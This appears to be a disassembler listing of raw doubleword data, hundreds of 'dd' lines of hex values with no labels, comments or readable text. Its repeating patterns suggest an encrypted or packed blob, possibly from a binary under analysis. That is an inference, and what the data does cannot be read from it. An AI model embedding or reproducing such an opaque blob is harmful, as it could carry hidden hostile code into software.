		dd 0C4EE6404h, 0DC9F3277h, 0F3454065h, 49A17296h, 0B7CB7ADDh
		dd 27E94388h, 0B8000000h, 715393h, 8 dup(0)
		dd 8FE90000h, 71000005h, 17A7669Eh, 0B303C2FAh,	0D060A15Dh
		dd 8D3DFC38h, 1A67A65Eh, 8945A4E3h, 0D60EF848h,	934BA717h
		dd 0CD09E252h, 0A714450Ch, 0E8E0AD71h, 194899BEh, 0E0AD76AAh
		dd 0D96ABBE8h, 0E8E0AD83h, 43CAE4C8h, 71AD5ECFh, 4B7E6B1h
		dd 0EF9335D0h, 297FCC1Dh, 76EF9336h, 0CDFD745Ah, 9727E61Eh
		dd 0C87EBE76h, 0D814FB1Fh, 5C9CB218h, 6455BB0Bh, 933581D7h
		dd 0CCE2CEEFh, 5C987545h, 0E28EAE9Ch, 57964EBFh, 12D30BE7h
		dd 56964EA2h, 803306E0h, 0EF93354Ch, 5393BD91h,	6BAD6F4h
		dd 0CC08E757h, 9335A7FDh, 0BD8F4EFh, 933564B8h,	0C85A9EFh
		dd 0D514D03Ch, 9B488465h, 362379CAh, 4468EF93h,	63BA0FCDh
		dd 11EF9335h, 3DB95531h, 37C0BB4Fh, 6Dh, 5DEEBFBBh, 0EF933607h
		dd 7BCB7E54h, 2745A789h, 57B08009h, 0A2085F9Fh,	347CF026h
		dd 0CEFD74E5h, 0EF92BE98h, 0CE3F8F5Ch, 0F57CD616h, 0DB5FBBD7h
		dd 0D1C0BB38h, 1, 75B15E5Dh, 36EE03B5h,	6CA840F6h, 0D2BE9EACh
		dd 55B6628Fh, 4264349Fh, 729B8ADh, 0AF58E829h, 57E7B677h
		dd 36EE1FBBh, 0A172D818h, 92EDBE12h, 0A62F03EFh, 77AF5E2Ah
		dd 30EC01B7h, 6EA646F0h, 37EF18AEh, 8DF9D9F7h, 0FB9735D4h
		dd 4E8F47A6h, 11D10DFEh, 6A6EC46h, 0C10A71E0h, 5C927848h
		dd 76700A76h, 54883B4Fh, 99EF9254h, 75B59BB5h, 0F5117D59h
		dd 0C0BBA861h, 8B6Bh, 0E50ABA00h, 5E2CA029h, 0E0B777AFh
		dd 8FFDBD4Ah, 0BE37DEA3h, 4FB8608Eh, 0D3FD5797h, 65012113h
		dd 0EA01D930h, 2B05C12Eh, 9574C405h, 0BF2F9959h, 9B71C707h
		dd 0F615A363h, 9F48FE3Eh, 0EC0DA767h, 927F224Eh, 0BDC745Ah
		dd 0C7B3E95Ah, 0D4F8EF92h, 0CCC08E6h, 610D2FA6h, 0BB271185h
		dd 5E3BC0h, 0BBEA0000h,	92D1D408h, 0BC3519EFh, 77AF5E30h
		dd 31ED01B7h, 75A547F1h, 0B3735D99h, 0EE2EE605h, 46FF6B49h
		dd 75A36EAh, 0E1ED2CE8h, 302615BFh, 8E4E8666h, 6C3A0C24h
		dd 0AA6288BAh, 0C6FE1323h, 385AB306h, 6D82EF92h, 29C771B1h
		dd 3F1F2DEDh, 9CBC1253h, 0B29014F0h, 198C0BBh, 14000000h
		dd 3989B05Eh, 7FD515D1h, 93361A4Eh, 654B67EFh, 0C2FA13A5h
		dd 0EB87A502h, 0CF9A58B6h, 6858A538h, 0EE8B4A64h, 0E00DBD2Ah
		dd 3BBF1524h, 3C0CEF92h, 7CD616CEh, 1CAF7C52h, 0E52E492Dh
		dd 0E85E9EB2h, 4514C7FFh, 0D734C5EFh, 71403040h, 0F63E741Bh
		dd 0DFD89D5Fh, 495E401Eh, 9F2FEC65h, 0A4F84B6Eh, 0E9F63E63h
		dd 8838EBC5h, 0EC2EA75Fh, 3E640159h, 3D29F5F6h,	0F637EF18h
		dd 0A969A546h, 0F636EE1Fh, 0AA68C293h, 0F940FC78h, 1C70C310h
		dd 61F63EADh, 8AE6C44Dh, 3FFE36D7h, 0EFC6B236h,	150B639h
		dd 8B3A0000h, 5CF6254Fh, 371E1858h, 0E332BB0Bh,	2E884950h
		dd 3AFAD6E5h, 9D18C76Dh, 0C19BD16Eh, 872DED29h,	0F71020A9h
		dd 1FAFFE3Fh, 82B23BF3h, 0BB18AB69h, 6EF92A9Eh,	0D5368040h
		dd 907ACA19h, 52377C54h, 0A95D2971h, 2587E220h,	3BF31449h
		dd 0A377F3FAh, 577D39EFh, 0F1000000h, 0F5264C8Bh, 93363246h
		dd 0D3133F6Fh, 93363266h, 74B05A6Fh, 2AE802B4h,	0BD005882h
		dd 0D3133D02h, 0F6B1DDFDh, 6D11AA53h, 0A9032D2Dh, 0E959DD89h
		dd 0AF05C501h, 7899CF7Ch, 0CAE66F92h, 0B61A643h, 79556BD8h
		dd 705AEF92h, 0E8FD76BBh, 0BCAE490h, 0A141h, 4F8B4B00h
		dd 3917CF39h, 285C59EAh, 0CBE1E52Fh, 0E8B64520h, 1ADAF452h
		dd 42833BACh, 1DDD19F2h, 74A81B4Ah, 0B9F63F51h,	5185DB68h
		dd 0E6CAF63Fh, 197241C8h, 43F63F51h, 4B272AAh, 0C2EA2AE2h
		dd 9F33721Eh, 99722743h, 3DF99C5Dh, 66D58457h, 0F63F5332h
		dd 0BDA537Fh, 0CA02EA5Ah, 1A29A00Ah, 0EBD2DAC5h, 0F82C9FCEh
		dd 45FCF1DAh, 0D9F5E069h, 863EAF19h, 5E81FF55h,	8584C9CBh
		dd 4B69CE0Ch, 0C22B9B1Fh, 0A266830Ah, 3C01B6CEh, 19375577h
		dd 0D92279CAh, 5F6FF284h, 0A94371ADh, 2907AD6Dh, 4F8BE4E8h
		dd 14A7F625h, 0EF9335C0h, 79A8210Dh, 26BD95CAh,	3DAE1EE5h
		dd 0A25AB381h, 0D2123E2Bh, 3167D485h, 7EF645BEh, 0A1619D4Eh
		dd 9CAC250Bh, 2372B36Bh, 0CA437B93h, 9B2811FAh,	0F645BD45h
		dd 638EA68Ah, 766E7110h, 299C5C72h, 5EA32356h, 0EF19A97Ah
		dd 0A941F737h, 0E8CA436Dh, 0F430D97Ch, 0A8648535h, 0E824CB7Bh
		dd 0B06C9E28h, 803CAC9Eh, 0A163EA40h, 0B8B05CF6h, 0CB38B7C6h
		dd 649A7242h, 129CB6Fh,	6FAF8133h, 0DB7EEAC8h, 9960FC32h
		dd 3F1EAB76h, 8760D011h, 18369C4Fh, 0E439A2C3h,	24E8C05h
		dd 3, 5E720008h, 0DBB7BB3h, 56E020DCh, 74C202BAh, 2C9A5A92h
		dd 77C101BDh, 2A9C5C98h, 7CCA0AC2h, 2096568Eh, 0DDD313CBh
		dd 1EEF68h, 240C8900h, 81E78957h, 4C7h,	4EF8300h, 5C243C87h
		dd 50240489h, 405E089h,	2D000000h, 4, 5C240487h, 0B8243489h
		dd 7B020627h, 6085BD55h, 814565ADh, 2E25CEE5h, 99F5815Eh
		dd 21289A3Fh, 0D8F75DE8h, 4B71CA2Dh, 348B5491h,	4C48324h
		dd 4EC81h, 4890000h, 24348124h,	417B7B66h, 8108468Fh, 7B660876h
		dd 34FF417Bh, 0C4835E24h, 2434FF04h, 4C48358h, 0F9F067E9h
		dd 980036FFh, 34B8A8FFh, 306B28Dh, 0F7E0FFC5h, 787F55C7h
		dd 214123C6h, 36101E80h, 0CC015BCAh, 0D119DFD7h, 1F6918CCh
		dd 312DA513h, 0CA1BA407h, 0AB2B85E6h, 5A6B55FCh, 0B80C7F00h
		dd 526D4BFh, 4C570064h,	0BC647E64h, 6E3E3821h, 447D6483h
		dd 0B232FE87h, 0F9283D37h, 147C50F6h, 0A7C2590h, 0CA77E4FFh
		dd 536EFFDDh, 5DB17DEFh, 0AEB120BFh, 5C51AB56h,	0D944A8E8h
		dd 0D90306Fh, 9A3D12A8h, 7543F13Dh, 0B0B37756h,	3DB13256h
		dd 0AEB1B159h, 36D13256h, 0AC313D37h, 0B5B13256h, 0B871EED6h
		dd 75B1530Fh, 0FF828AAAh, 4F585354h, 0DBB13256h, 5EC79E3Ch
		dd 0EE2168C5h, 0F0C4D46Ah, 0F95429A5h, 7AB13276h, 0BAB133DDh
		dd 5DB1CE56h, 0A2333DAFh, 58B13256h, 0ABB134D5h, 0D53E3D56h
		dd 0EAB13256h, 75B9DB56h, 0B2ED3256h, 8D3352D5h, 0C8D1AA72h
		dd 0D7389EEEh, 0ABD0EF98h, 0D5BADB56h, 672E3256h, 24C5FABBh
		dd 3C56E793h, 0A1B1320Dh, 0AEADBD59h, 0DABE3256h, 0ABB13240h
		dd 0D5B123BFh, 6BDA2C56h, 0B463426Bh, 1D16D918h, 36737E75h
		dd 0AC0DEBA3h, 57B1320Ch, 0BED6E356h, 34E64C01h, 0EAB17918h
		dd 2E59A8AEh, 0BAB13256h, 0D56D3B3Fh, 34A8FB84h, 0A3528080h
		dd 0ABB198CBh, 0D5B6B659h, 6CBE3256h, 75B13257h, 53B132A3h
		dd 5DB13253h, 0CC4199EEh, 0BEB132DAh, 0ABB13251h, 0B2A8DE7Ch
		dd 0E5B58B3Bh, 75B127D1h, 0BAA1DB56h, 0BC063256h, 0D0890D78h
		dd 0B061E9E4h, 909ADDCDh, 0D5B10F18h, 0EAB0B759h, 75493256h
		dd 0A7393D56h, 52B13256h, 0AEB125D3h, 57A3DB56h, 0CB3E3256h
		dd 281E7E88h, 24C31A5Fh, 7B0B6E93h, 97DCC1A1h, 5D4D3256h
		dd 0A1E65256h, 57B132D8h, 0BA586C56h, 5FB13256h, 0C9CFB9B7h
		dd 0FFBA9EC3h, 1A6A1080h, 86FAE683h, 0CEB13237h, 57B13ABEh
		dd 669B0F56h, 5698F935h, 0C305405h, 14EFEC70h, 31D13256h
		dd 5DB15385h, 0CEB132AEh, 57B4B859h, 0AA0E3256h, 0B3908109h
		dd 5FA7F5D7h, 9CB13237h, 0BAB13259h, 2C2E48A2h,	75FD1804h
		dd 49CA01ECh, 0AB8DE6DEh, 0D5B1CB56h, 3B132AEh,	75B13245h
		dd 0ECFD0511h, 388A6A2Bh, 0EC5ECE14h, 0C29C6878h, 0AB3D41C0h
		dd 0D5B1CB56h, 0EAB0B059h, 75483256h, 0BAB8DB56h, 0A6FA3256h
		dd 25E51DB2h
		dd 0BEAF2F15h, 0ABB13247h, 735ACD87h, 690E1385h, 0E1BB545Fh
		dd 0FFDA4009h, 52B13233h, 0AEB126D5h, 57BEDB56h, 0D58B3256h
		dd 0CD43F70Ah, 60B18A79h, 0CB93796Bh, 0DAB13285h, 425CB236h
		dd 47D05336h, 57B1325Ah, 0DC690D3h, 0BA92CAF1h,	0A27A8664h
		dd 75B1CB37h, 0BAB13FBFh, 17AEB656h, 192FC04Dh,	0FE9F6CCh
		dd 0ABB33ADAh, 0D5B03256h, 0EA483256h, 7266C756h, 0BAB0325Fh
		dd 5DB33247h, 0AE863252h, 5F5232FCh, 0E1885886h, 434ABFC3h
		dd 13B1325Fh, 0F3BE3256h, 0BAB1325Eh, 5646B336h, 0CFAA9FAAh
		dd 57BDB659h, 0AC583256h, 0AFB13256h, 0FB26CDBBh, 75B14B2Bh
		dd 0B5B132AEh, 5DB123DCh, 0AEBDDB56h, 3A063256h, 2C290A5Fh
		dd 8A5E860h, 6BD1FBB5h,	60567DA0h, 480E5418h, 5DB1531Ch
		dd 0AEB1301Fh, 0B1CAA956h, 37F011DCh, 0DAB132EFh, 0EAB12AD9h
		dd 673C3D56h, 53B13256h, 5DB1325Bh, 49BC52A2h, 1EBC6858h
		dd 45146627h, 9CB13217h, 0EAB13254h, 3E2A6169h,	18AEDEC6h
		dd 8624E28Fh, 0D933C3DBh, 1F3859D0h, 80443256h,	0D5B13296h
		dd 0C85C3256h, 1B5842E5h, 0DC14AE59h, 3C4413EEh, 0AEA3DB06h
		dd 0F4633256h, 54AF6BF6h, 0CE9B279Ah, 1D47A3EEh, 0E633FF32h
		dd 72E8ACC0h, 5DA5DB51h, 3BFD3256h, 4689A9FCh, 0E6554520h
		dd 9CE12154h, 0EFCD5D18h, 0FE2CB90Ch, 31D75380h, 0DB225380h
		dd 0BC2C4611h, 928D2B5h, 39E43E69h, 4604DEC9h, 9EF6B437h
		dd 955220CBh, 0B68E6CCFh, 0CDEA5803h, 7305B590h, 8E911104h
		dd 3EFD4DC8h, 9138A9FCh, 0B8E13672h, 7B586006h,	0F4B13256h
		dd 7B44E39h, 88305ADDh,	0E50C2631h, 42803D55h, 0D5B13242h
		dd 91BB47FAh, 2267C3CEh, 49D31F12h, 121F1BE6h, 0C50BD78Ah
		dd 66BE6A0Ch, 0ABA3DA36h, 36A33256h, 0D5EFABB6h, 2EDB675Ah
		dd 8D87E3AEh, 8E733FF2h, 920A5408h, 0FEB531Bh, 0F1D06A0Eh
		dd 0F1F5BB0Eh, 0BAE36252h, 75A1DB04h, 0AB893256h, 10554520h
		dd 0E7E12154h, 52CD5D18h, 9ABEB90Ch, 0E4BE6006h, 0B2EB6A0Ch
		dd 27E10359h, 8BBE6006h, 6CBE6A0Ch, 0F6EB5336h,	57E96A0Ch
		dd 0A758C756h, 82B13256h, 0FF0A9B46h, 0B8FC3515h, 0BA662BEAh
		dd 5DBFDB56h, 0B7013256h, 0E9112C75h, 993FC317h, 2A35FACBh
		dd 8CD13256h, 13B360ECh, 1A5BD0D7h, 52B13237h, 0AEB133DEh
		dd 57B1CE56h, 0ABB0B859h, 0D5483256h, 0E23D3D56h, 7AB13256h
		dd 0BAB130D0h, 5DD05256h, 0AEBCDB56h, 223B3256h, 13290147h
		dd 0C56DC25h, 8AD04535h, 13D05236h, 0DBBB14E9h,	0D6E78C30h
		dd 57B13237h, 45583256h, 71B13256h, 3E5CDC0Fh, 0EC89852Ah
		dd 58CA8A86h, 0D72498BAh, 0A5B132B9h, 2CBE3256h, 57B13257h
		dd 42B132AAh, 0D5B13242h, 4EFE26Ah, 0E0351C72h,	40D2F4B1h
		dd 6D3A4195h, 83C67D9Fh, 5E583256h, 33B13256h, 3324CFF5h
		dd 0E19CFAEAh, 0CDD13256h, 8BA7EFECh, 52D0A2E2h, 0AEB127DDh
		dd 5F585256h, 2BB13256h, 75DCDE88h, 0E5C92621h,	75B132D3h
		dd 0BAB15356h, 5DA0B159h, 0A2583256h, 7CB13256h, 0F657A685h
		dd 0F56D932Ah, 0E57EB8ECh, 75B135DFh, 3BD75256h, 3C84AE8Eh
		dd 0C8D13256h, 0D8BEFCDDh, 0ABB13250h, 0D5B1B359h, 8AD03256h
		dd 75B7B959h, 3ABE3256h, 5DB13256h, 0CF428D59h,	50583256h
		dd 97B13256h, 0F2AE673h, 0EAB1B111h, 75A4BA59h,	0AA583256h
		dd 0CDB13256h, 0E661845Ah, 0DF9F9278h, 40ED1612h, 0D513A89Bh
		dd 0EAB1CB56h, 0CED752AAh, 5B309646h, 0BAEA39h,	0A1B13237h
		dd 57B12AD9h, 0ABA2DB56h, 4F7A3256h, 0E63EFB26h, 0E09FE5B1h
		dd 0E17F425Fh, 13BF0109h, 0AEB1CE8Ch, 57A2DB36h, 1F2A3256h
		dd 0E70BBE4h, 868064Fh,	0E1A5613Ch, 24C18B27h, 3C4BB973h
		dd 25D13256h, 0A10E3DA7h, 0ABB1C737h, 0D5B13EBFh, 0D66B3C56h
		dd 0B1DF0EDBh, 0A901C1BAh, 5DB1CB0Bh, 47B132AEh, 57B1325Ah
		dd 166E12Ah, 5663F838h,	4D01B524h, 0C7D13256h, 0BAD0CE77h
		dd 5D49CE56h, 0AEB1CB56h, 57B0B059h, 52483256h,	0D3583256h
		dd 11B13256h, 6AAD32CCh, 53B132C4h, 5DB13246h, 3EC24836h
		dd 4F53B5D2h, 67205069h, 0B74B926Ch, 69BE3256h,	75B13257h
		dd 0DAB132AAh, 7D95C4D7h, 0A7597582h, 0FAB13256h, 0D7D711F7h
		dd 2D53736h, 0EAB122BFh, 457B256h, 61C4C62Dh, 61758CFBh
		dd 0AB5FD3A1h, 0A2D06BB4h, 21BE3256h, 0D5B1325Ah, 0EAB7B859h
		dd 0F9BE3256h, 0BAB13256h, 0DABE3256h, 0AEB13242h, 57B13DBFh
		dd 0D2BE2156h, 33606708h, 9C06A866h, 0D9C52764h, 0BA443256h
		dd 0E495256h, 0AEB121BEh, 0D7A52D56h, 3BC614Fh,	210B303Eh
		dd 0CCCF76BCh, 47C3568Ch, 0BAD06C0Eh, 5DB4DB56h, 548E3256h
		dd 576E0631h, 0ABA0DB56h, 2EC13256h, 0B871E3Dh,	0E2BB49A9h
		dd 0A7B62124h, 3D063C2Ch, 0AEB120BEh, 40D07256h, 2D107414h
		dd 803061BBh, 9CB3BE3Ch, 7A507CC1h, 0BAB132D7h,	0EABE6C56h
		dd 0AEB15399h, 57B121BFh, 10294E56h, 0B5D473BCh, 6E9A6802h
		dd 0DC86A8E6h, 0EB8A96D6h, 0DBBE3256h, 0AEB1324Ah, 0D6E98A36h
		dd 0A4590C76h, 0EB13256h, 0CC043CBEh, 0EE4016D1h, 271AB157h
		dd 3CEE7891h, 0BA583256h, 1DB13256h, 384477ADh,	53084DD0h
		dd 0E07A1CE3h, 0F7DE4111h, 0BA3CF643h, 52445256h, 0AEB138D3h
		dd 57B4DB56h, 0C34F3256h, 0B4230D5Eh, 0ED583256h, 7FB13256h
		dd 12A8E54Eh, 5DB16C62h, 0AEB13EBFh, 1FD0556h, 0CE8A6A2Bh
		dd 975ECE14h, 1FB13278h, 7AD13256h, 3BD7EAE9h, 3C11798Eh
		dd 0A8583256h, 0CEB13256h, 903EFC0Ah, 0DAB13204h, 0EAB133DCh
		dd 75B1CE56h, 0DAB132AAh, 5DD0E1DDh, 0AEB1CE56h, 58B132AFh
		dd 0ABB133D3h, 0D5B1C756h, 0EAB122BFh, 8A40F256h, 31BE079Dh
		dd 54970DEAh, 0E37567B5h, 37B132CAh, 0ABB135BFh, 0B53F3D56h
		dd 9E9A771h, 8E063D07h,	0BAB15308h, 5DB134BFh, 468ACF56h
		dd 575CAA38h, 0ABB1C756h, 0D5B13EBFh, 110A5556h, 9E1DC7A2h
		dd 0E764E92Bh, 3DB132BFh, 0CC7A8DE9h, 0C85BB232h, 0A4B13237h
		dd 0D5B122DBh, 0EABADB56h, 0F9C23256h, 740F6503h, 0D5E4FD2Fh
		dd 47B13203h, 57B13245h, 0FBDA0D81h, 3EE010B2h,	11949FB6h
		dd 376B9E98h, 0DA5B7E7Dh, 0E7468559h, 0DD69D256h, 0BEB13237h
		dd 0ABB13246h, 570CE6Ah, 65B1917Bh, 8E388E8Bh, 8B9D4E04h
		dd 51583256h, 0F7B13256h, 6FCD1D7h, 1A41028Ah, 0D595E970h
		dd 0EAB1CE56h, 7AB132AFh, 0BAB133D3h, 0E7D1CA56h, 0DFB32C5Ah
		dd 0EFD7CA36h, 0CAD04B8Ch, 5ABE3256h, 0EAB13251h, 75B0BF59h
		dd 0BA4D3256h, 5DA5DB56h, 31AE3256h, 0F97313DAh, 8163C95Fh
		dd 7E4FD79Ah, 0E9429F18h, 75B1643Ah, 4C305436h,	0BE0930EFh
		dd 0CFBE8A82h, 0EED13256h, 0A6C473E8h, 0DAB13237h, 0EAB127DCh
		dd 7A333D56h, 53B13256h, 5DB1325Ch, 0AEDE3399h,	0ECAC7C8Dh
		dd 0ABB1002Fh, 0D5B0B959h, 0EA443256h, 75B1CB56h, 42B132AEh
		dd 3C018436h, 0BE583256h, 0CBB13256h, 0B2454D3Dh, 9C85BB49h
		dd 45AB237Ch, 7533E5CDh, 0BAB1CA56h, 5DB137BFh,	9C7C2156h
		dd 57B17A8Ch, 0AB3D3D36h, 0B4B13256h, 68BE3256h, 75B13247h
		dd 0BAB13EBFh, 0B7CB4356h, 440448BCh, 0B04AAEEDh, 5EB1320Ah
		dd 5ABE3256h, 0EAB13244h, 75343D36h, 53B13256h,	5DB13253h
		dd 0EBB8C22Eh, 57B1533Dh, 0ABA3B959h, 0D8583256h, 46B13256h
		dd 0BB6FA05Ah, 0AB40C80Fh, 0C432FD21h, 0AEB4B559h, 58D13256h
		dd 0ABD0E4E9h, 0D5B1C756h, 0EAA0BA59h, 79583256h, 46B13256h
		dd 0A0175F14h, 0E31F7ECh
		dd 57BFAE96h, 0AC3A3D56h, 0DAB13256h, 0EAB133D7h, 75B1CE56h
		dd 0BAA1B459h, 56583256h, 80B13256h, 5F082BA0h,	0EE2F2280h
		dd 0D5B1BD6Ch, 6FBE5236h, 75B13256h, 46D05336h,	52B13237h
		dd 0AEB137D8h, 485256h,	0ABB15308h, 0DAB132A3h,	0EAB122D8h
		dd 75BADB56h, 5C103256h, 14CDA56h, 56758824h, 58B13280h
		dd 0ABB133D5h, 56BEC756h, 0EAB13257h, 7AB132A3h, 0BAB133D1h
		dd 5DB1CE56h, 0CEB132AEh, 9E315EE1h, 0ABB1532Ah, 22063D36h
		dd 0EAD0ADE5h, 75B1CE56h, 0BAABB059h, 0DBBE3256h, 0AEB13242h
		dd 57B13DBFh, 2292E056h, 65925946h, 46D50E35h, 0FE6C3FEh
		dd 32BE3256h, 5DB13258h, 0AEB13BBFh, 1190DA56h,	24A5AE90h
		dd 0B3D1DFF7h, 63A6D1D7h, 8DB13237h, 0AB583256h, 16B13256h
		dd 6BF153A5h, 0AA04AD88h, 63775891h, 0B8198A51h, 69BE3256h
		dd 75B13257h, 0A3323DAAh, 0B4B13256h, 0AEB13242h, 0EF9ACC33h
		dd 0B3F1EC5Ah, 0FEE23D5Bh, 157077A9h, 4DC8234Dh, 0DCD13256h
		dd 7EBAC0D7h, 0AEB134BEh, 0ACC72C56h, 0F49B6577h, 3CB13237h
		dd 0EAB1325Dh, 4D094522h, 0CDC54477h, 5D900AEEh, 0AEB1CB56h
		dd 57BDB359h, 0CDD13256h, 0DAC12EECh, 0EAB132D3h, 75B15356h
		dd 42B132A3h, 5D483256h, 254D5256h, 57B15395h, 7C0E3D36h
		dd 0D5B153AEh, 8545B236h, 75B3BA59h, 23043256h,	3DB13237h
		dd 0AEB3B759h, 36D13256h, 57B13237h, 0DAD13256h, 0EAB130D4h
		dd 13D05256h, 870C4D7h,	52B13237h, 0AEB121D0h, 57BFDB56h
		dd 1B413256h, 0C106FA80h, 30EB4F6Eh, 0EB5870B6h, 0B0583256h
		dd 16B13256h, 0FADBBF9Ch, 0D049F9D2h, 57B13280h, 29B132AEh
		dd 0E1583256h, 0AAB13256h, 0C0E9B484h, 8010ED6Dh, 24BEA0F8h
		dd 57B13245h, 0ABB13CBFh, 0C9969356h, 8D26A722h, 0ECF4355Dh
		dd 0BAFFF48Eh, 5C3A3D56h, 52B13256h, 0D8BE3256h, 0ABB13257h
		dd 0D5A0DBAAh, 1EA03256h, 0C564C64Dh, 0DC27FC93h, 22D3679Fh
		dd 0AEB1AC33h, 493F3D56h, 0A4B13256h, 0D5B12ADBh, 0EAA2DB56h
		dd 94E33256h, 0CFE8C115h, 0DCB988F8h, 0EBA5B06Ah, 8ED917DEh
		dd 5EB132E8h, 0DAD13256h, 0EAB134DDh, 753B3D56h, 0DCB13256h
		dd 52D0C9DDh, 0AEB133D6h, 57B1CB56h, 0ABB121BFh, 5DE07356h
		dd 713E1CE7h, 2DB1C4A1h, 470C98B2h, 0F52DA8C9h,	2FD13256h
		dd 0F132DC95h, 0ABB1533Ah, 0D5A7BA59h, 0FB583256h, 0DB13256h
		dd 0F739CFAAh, 0D51A624Eh, 0F2BDC48Dh, 7C0C92A5h, 0CDD13256h
		dd 62BEF1DDh, 0EAB1538Eh, 8CB132A3h, 39BE3256h,	5DB1325Ch
		dd 0AEB137BFh, 0D8C2156h, 0ABB1284Ch, 3CB132AFh, 0EAB13258h
		dd 6F8FCA8Ah, 0B9957B10h, 0FE7CD8F9h, 0AEB187B6h, 57A0BB59h
		dd 0A7583256h, 0BB13256h, 2694D68Fh, 843578B8h,	0BA5408ADh
		dd 5DD05256h, 0CF495256h, 0D6BE3256h, 0ABB13257h, 0DAB132AAh
		dd 0EAB133D5h, 75B1CB56h, 53B132A3h, 5DB1325Bh,	0EB2F2280h
		dd 6D46BD6Ch, 18253C0Fh, 3CB132B5h, 0EAB1325Bh,	6A03483Fh
		dd 0E392D0BEh, 0A0AE5F93h, 57B1326Fh, 57493256h, 0ABB1CB56h
		dd 0D5B8B059h, 8AD13256h, 0C07E8937h, 0BAD008FDh, 5DB1C756h
		dd 0AEB0B459h, 57443256h, 0ABB1C756h, 0D5BCDB36h, 242A3256h
		dd 65CF94DAh, 0EF898EE0h, 3CD1799Dh, 0AE4D3256h, 0DCBE5256h
		dd 0ABB13255h, 0B357EDD6h, 8B046BEDh, 0F6BE3256h, 0BAB13248h
		dd 5DA9B759h, 0BD583256h, 50B13256h, 924E9D68h,	9745E003h
		dd 0B5EB4263h, 474BE2EEh, 0BAB16907h, 1469B236h, 0AEB13DBFh
		dd 6CB32956h, 28448751h, 8E525569h, 0F1690644h,	7AB13237h
		dd 0BAB135DEh, 5C333D56h, 57B13256h, 46583256h,	45B13256h
		dd 59F7853Ch, 95CA8008h, 0B7F4F12h, 393886DEh, 5DBEB159h
		dd 0A4583256h, 0A9B13256h, 7F80933Dh, 0AE858161h, 8AB1323Fh
		dd 867882E8h, 0DB9E826Eh, 0DABE3256h, 0AEB1324Bh, 4359CE36h
		dd 62B13256h, 270247EAh, 3C1D7850h, 3DB517BAh, 2F90BB84h
		dd 47392E4h, 0A1B13237h, 57B120D1h, 0A7323D56h,	3CB13256h
		dd 0EAB13251h, 89F96CF4h, 0BAC93BFBh, 57333D56h, 0CEB13256h
		dd 316EB930h, 78A6F8D7h, 20B13237h, 8AB132A3h, 44D8C30h
		dd 53B13237h, 5DB1325Dh, 27AFB835h, 93DBEF93h, 0ABC3557Eh
		dd 0D2363D56h, 8AB13256h, 6B53B330h, 0BAB153C7h, 0BD305436h
		dd 0B40F3386h, 36DCA4CFh, 0CBB132AFh, 0B0DF3FEEh, 8B6EB909h
		dd 13D13256h, 0E16DD0D7h, 5DB0BA59h, 0CF483256h, 57493256h
		dd 0ABBDDB56h, 2E553256h, 0B9056839h, 51A6F168h, 0BA4D32D7h
		dd 0DFBE5256h, 0AEB13255h, 0D7418D59h, 0ABD05BBAh, 22305256h
		dd 0FB6263BEh, 0F340B330h, 3EBE531Bh, 5DB13244h, 0AEB13FBFh
		dd 46F55156h, 0DAACEE3Ah, 0E11FB596h, 0EAB1B7E2h, 75A9B559h
		dd 3CBE3256h, 5DB13244h, 0AEB13FBFh, 110BD656h,	8159A3Fh
		dd 540397Fh, 0EAB1FB6Bh, 75B13ABFh, 5506EB56h, 25D5EA01h
		dd 0A1B13252h, 57B133DFh, 0ABB1CE56h, 0DAB132AFh, 0EAB13FD7h
		dd 0F4D75256h, 3B47E796h, 0EBC1FE98h, 0AEB15331h, 0AC3A5436h
		dd 57B13237h, 0C6583256h, 81B13256h, 0AA145577h, 1C9EF4BDh
		dd 0DC62B479h, 98C08983h, 57B1474Ah, 5EB132AFh,	0D54D3256h
		dd 0F53D3D56h, 15B13256h, 0BAB126BEh, 3AF7C256h, 7C96F5E6h
		dd 248FB1E8h, 30A274C2h, 6CC6195Dh, 61D76A98h, 75B153A1h
		dd 0BABBBB59h, 58583256h, 0F7B13256h, 5BE2F0F2h, 20D13256h
		dd 0DB373D91h, 2B13256h, 75B1325Eh, 104D3D86h, 0A58F5453h
		dd 2ED1530Eh, 9E2B59Dh,	0CBB13237h, 0D5D0C9DDh,	0E0303D56h
		dd 9CB13256h, 0BAB13253h, 0B17D31C5h, 0A1B1328Dh, 57B139D2h
		dd 790F5256h, 0B3CA2ECFh, 8B0061EDh, 9C493256h,	0BAB1325Ah
		dd 0A7B17A44h, 0B701EB94h, 0E9112C75h, 0A4D13256h, 43ACBE9h
		dd 16B13237h, 75B0B159h, 0BA443256h, 5DA5DB56h,	0BEA33256h
		dd 4FA0EA4Ch, 4C582F52h, 0B5A7ECFCh, 0CF29C449h, 75B163AEh
		dd 53B132A3h, 5DB1325Ch, 0BF92680Ah, 0D0DA1667h, 0ABB10285h
		dd 0D5AABA59h, 3D13256h, 75B13244h, 0B8C859C0h,	7B43A1B7h
		dd 97E31450h, 152D6674h, 5A3AB99Bh, 3CB13237h, 0EAB13259h
		dd 0B182AF29h, 29702345h, 504AE084h, 0A1A24DB6h, 57B12BD7h
		dd 0ABA5DB56h, 0C4F43256h, 0B37B9D35h, 4386D328h, 0EA2E21DCh
		dd 6DCFF4DEh, 0AEB1B2D4h, 57B13DBFh, 0DEBDD756h, 48048DD5h
		dd 90BDA6B7h, 1BCAD111h, 5469B236h, 3C7E8559h, 0A1D13256h
		dd 0BB06EAE1h, 0CBB13237h, 0D5B3BD59h, 203A3256h, 775EB330h
		dd 0BAB1531Bh, 5DBCDBAAh, 5E3256h, 69E5C65Ah, 86E4F088h
		dd 0D5D29180h, 0EAB1CB56h, 75B123BFh, 0C31D7156h, 3555D45Bh
		dd 0C7EB5028h, 1AD9DB62h, 0ABB11BAEh, 0D5B13FBFh, 4ACD1456h
		dd 5EED56FAh, 256E8BC0h, 5DB18C1Ah, 57B132A3h, 0D6BE3256h
		dd 0ABB1324Fh, 0D5343D36h, 3B13256h, 75B1325Ah,	4A96A712h
		dd 0BEA36A78h, 34C6C4C2h, 0BEB13237h, 0ABB13242h, 0B288E388h
		dd 31819F1Bh, 0C1E06788h, 98041076h, 1144A6AEh,	0AEB0B759h
		dd 57483256h, 0ABB1CE56h, 0B4BA8736h, 60BE3256h, 75B13253h
		dd 0E4E3CE36h, 0B4B13237h, 0AEB13246h, 3D50E93Fh, 0B74FAE86h
		dd 622A7DEBh, 32252F47h, 0BF063D36h, 64958930h,	0B4B13237h
		dd 0AEB13242h, 0ACEC6DB3h, 0D8F10D90h, 947DF420h, 8E277EA1h
		dd 0BA46E38h, 39BE3256h, 5DB13251h, 0C8D05236h,	57D0C8DDh
		dd 0ABB6DB56h, 0F23B3256h, 89996229h, 9CB13262h, 0BAB13247h
		dd 4ED2E7EFh, 44C7CDD0h
